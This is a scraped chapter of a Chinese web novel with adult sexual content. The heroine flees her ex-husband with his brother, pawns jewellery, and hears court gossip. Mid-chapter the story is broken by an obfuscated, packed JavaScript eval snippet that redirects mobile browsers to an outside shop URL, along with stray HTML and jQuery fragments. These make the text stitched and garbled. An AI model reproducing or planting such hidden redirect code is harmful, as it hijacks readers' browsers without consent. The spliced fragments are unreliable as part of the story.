36. 丽水村

作品:《被前夫他哥强娶后失忆了

    甄漪像是要被他吃出奶水一般,浑身软成一滩烂泥。


    这种感觉真是太古怪,嘉瑜哥怎么能这样吃她呢?他又不是她的宝宝,又不是她生的他……即便是游怀瑾那种花招百出的,也从未像如今这般对待过她。


    他现在就像个吃不饱的小婴儿一样,哭哭啼啼,迫切地想要她的奶水,甄漪后悔自己没有奶水,如果有,她一定第一个喂给他,他好瘦好可怜,即便吃得多一些,又怎么样呢?她总不能苛责他吧。


    于是她像抱婴儿似的抱住他,轻拍他肩,低声呢喃。


    翌日清晨,两人启程往更远处去。


    昨晚游嘉瑜吃太久,甄漪胸口被里面的小衣磨得有些疼,若是再坐在马背上,胸口紧挨着他脊背,她定是受不住的。游嘉瑜为她寻了辆农家用的敞篷牛车,拴上那匹白马就当马车使。


    甄漪坐在车上,身下垫了厚厚的褥子,身上还披着件披风,游嘉瑜则骑在马上,时不时回过头瞧她,从包里掏出干粮与水塞给她,生怕她饿着渴着。


    “嘉瑜哥,我要眯一会儿,等到了地方,就叫醒我。”


    她昨晚没怎么睡得着,一是因为被游嘉瑜舔得浑身燥热难耐,无处去发泄,二是一直担心以后,在想以后该如何打算,现下赶路百无聊赖,正好补觉。


    没酝酿多久,她就睡着过去。


    在梦中,她见到了自己最不想见到的人。


    游怀瑾掐住她脖子,厉声质问她为何背叛他、离开她,这样说着,还不顾她反抗撕开她浑身衣物,将她按到身下,狠狠……


    “不要!”


    她愕然惊醒,心还砰砰直跳,口干舌燥。


    游嘉瑜从马上下来,凑到她跟前,对她左看看右看看,关切不已。


    甄漪尚未清醒,看到游嘉瑜那张与游怀瑾近似的面庞吓得躲开,认清是游嘉瑜后才松了口气。


    “那、那个,我刚才梦魇,见到你才吓了一跳,我们现在到哪里了?”


    她环顾四周,自己与游嘉瑜尚在一条不着边际的羊肠小道,前路未卜。


    她思索了瞬:“要不我们南下去松阳吧?不回松阳县,去松阳县附近的丽水村,我在那儿有三十亩水田,想必足够我们生活。”


    那水田是她从前麻烦雀生买的,虽说雀生这人不咋样,但起码到手的田地是真的,也是没想到,那三十亩水田竟能在此时派上用场。她原本只是想用那水田种些东西赚点零用,未曾料到自己以后恐怕都要仰仗那水田支付全部的开支。


    游嘉瑜毫不犹豫地点头,掉头往南边去。


    在牛车上度过了七日,他们终于到了一处小城。


    进城之后甄漪第一时间便是寻了城中当铺,将自己身上的玉佩、手镯全当了去,玉佩是名贵的和田玉,值二十两银子,手镯是纯金手镯,值十五两,这两样东西皆是游怀瑾从前为她买的,她不知多少钱,如今当了才知竟然值这么多钱。


    起码对她来说,三十五两银子是她父母七年的花销。


    不过对游怀瑾来说,或许他半个时辰就赚得到五十两,三十五两不过他随手一丢,有时候她真不明白为什么像游怀瑾的这种绝少数人却占着绝大部分钱,大部分平民却要整日为生计发愁。


    “哎呦,小姐你确定当这两个吧?”当铺老板乐得合不拢嘴,“得嘞,我现在就给你拿钱!”


    遇到这种痴蠢的大款,老板又怎能不高兴,还真是一年不开张开张吃一年,将这两样东西转手卖到权贵手中,半辈子吃喝不愁都不成问题,简直天降横财!


    “等等,”甄漪咬唇,摸了摸口袋,从里拿出条璀璨夺目的蓝宝石项链,正是游怀瑾送她的那条生辰礼,“老板,这个也烦你看看,值多少钱。”


    游嘉瑜侧目,瞥间她眉心迟疑与不忍,又将那串项链从台上拿起,塞回她手中。


    “嘉瑜哥……”她摊开手,低头端详那串项链,“这个要当的。”


    一开始逃跑,她一直将这串项链戴在脖间,不分昼夜,上头硕大的海蓝宝石透出的朦胧蓝光常映照进她的眼中,晃得她感慨万千。


    她始终记得游怀瑾那日对她说的话。


    没有他,她还只是小县城里一个不起眼的姑娘,她获得的所有特权、财富,都是经他赐予——这串蓝宝石项链就是如此。


    留着这串项链,她只会不断想起游怀瑾那些中伤的话,一遍遍地怀疑自己想要的究竟是什么,是否真如游怀瑾所说那般不堪。


    她想要的,从来都只是愿得一人心白首不相离。


    而游怀瑾,或许对她是有那么一丝一毫的爱,但他的爱,与她想要的爱,从来不是同一种东西。他的爱是施舍:让她脖子上戴着他送的珠宝首饰,以此彰显——她属于他。


    在他眼里,她与那串蓝宝石项链本质无异,都只是生命中拿来装点、消遣的一隅,而不是被奉为信仰般珍视的全部。


    她重新将项链放回台上。


    “老板,你看看这个值多少?”


    当铺老板细致入微地瞧了那项链一遍又一遍,大吃一惊。


    他捧着项链,小心翼翼冲她比划:“小姐,这个数可以吗?”


    “五十两白银?”她不假思索,“可以。”


    原来这串项链只值五十两白银吗?亏他当时还极尽吹嘘,或许,游怀瑾送她的项链是假的,上面的宝石并非什么难得的稀世孤品。


    想来也对,她怎么可能值得他那么花心思呢,就像他说的那般,她不过一个卖身求荣见识短浅的妓女罢。


    老板更是大吃一惊,回过神来连声答应:“好好好!五十两白银五十两白银!”


    五千千两白银的东西,竟然花五十两就讹得了!老板简直差点乐极生悲,一仰头乐死过去!


    “敢问小姐贵姓?可否留个住址,以后我常来拜访您。”


    “……我姓甄。”甄漪觉着莫名其妙,“住址就不必了吧。老板,什么时候给我们钱?”


    她暗暗拉住身边男人的手,朝他靠拢。


    游嘉瑜觉察到,收敛目光紧牵住她,护到她身前。


    老板笑得合不拢嘴:“现在、现在就去取!”


    说着,往楼上去。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273732|195489||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    老板走后,甄漪低声与游嘉瑜道:“待会儿我们取了钱就出城吧?这地方离浚仪还没多远,我在这里待不安稳,怕游怀瑾在这儿有眼线通风报信。”


    游嘉瑜点头答应。


    取完钱后他们不敢耽搁,顺路买了些干粮与水,挎着一口袋银两就出了城,更往南下。


    一路上,遇到的人渐渐多了起来,特别是从五湖四海来,南下做生意的大小商贩,那些人常聚在一块儿闲扯,来来往往消息灵通得很。


    “哎,听说了吗,陛下驾崩了,再过一阵子就是小太子即位。”


    “啊?哪位陛下?是玉章帝?不是才三十出头,怎么就崩了?”


    “听说是皇后私会情郎被陛下抓了个正着,一时急火攻心就气死啦!所以皇后也下落不明……这你可别跟别人说噢,我也是从别人那儿听来的,不保真。”


    “哎呀哎呀,保证不外传!那,太子殿下那么年轻,家都还未成,能管得了这么大个王朝?守得住江山?”


    “不能啊!所以听说……这事你可别去外面乱说哦。”


    “听说朝廷内部已拥护出一位摄政王,至于是谁,这就不是我们平民老百姓晓得的了!反正不会是我,也不是你,对吧哈哈哈……”


    “对啊哈哈哈,谁当皇帝,与我们这种平头老百姓又有何干呢,即便是没皇帝,日子还不是要一天天地过下去!唉,不讲不讲,喝酒喝酒!”


    听完身后两个商贩的谈话,甄漪蹙眉,迟愣了瞬。


    没想到时势变迁得这么快,上一次见到太子殿下还小小的与寻常孩子一般,没想到现如今竟要成一国之君了。游怀瑾应该也……会跟着沾光吧?


    她晃晃脑袋。


    无论如何,都跟她没关系。她巴不得躲进山沟沟里,听不到一点与游怀瑾有关的讯息。


    她与游嘉瑜从路上的商贩那儿租了辆足够容下他们二人的马车,再另买了匹马方便赶路,兜里的银两用得剩下五十。


    五十两,足够他们赶路到丽水村了,说不定还能有剩余。


    “嘉瑜哥,我给你买件新衣裳吧?”她说,“我们还剩挺多钱,你身上的衣裳本就破,还穿了这么多天,应该买件新的。”


    赶路的这些天以来,游嘉瑜只晓得顾着她,每日想方设法地为她寻水来洗脸洗屁股,还每隔四日就为她寻处所净身洗发,将她将就得很好,自己都没顾得上。


    他衣裳没换过,之前被关在庄子就穿的这件破烂布,时间一长,身上有了味道。


    甄漪怕游嘉瑜伤心,一直硬憋着没说,游嘉瑜老喜欢往她身上凑,总将她熏得头昏脑胀。


    即便是乡下这窜那窜的小土狗,也鲜少有脏成他这样的。狗都知道舔毛呢,而他只知道舔她。


    游嘉瑜一愣,下意识摇头又被她威胁地连连点头答应。


    毕竟她说,若是不买新衣就将他身上衣裳扒光,让他干脆别穿衣裳。


    甄漪并不会真的就那样做,至少不会当街就那样,不过,她倒确实想找个机会扒光他衣裳,看看他为什么自始至终就没硬过。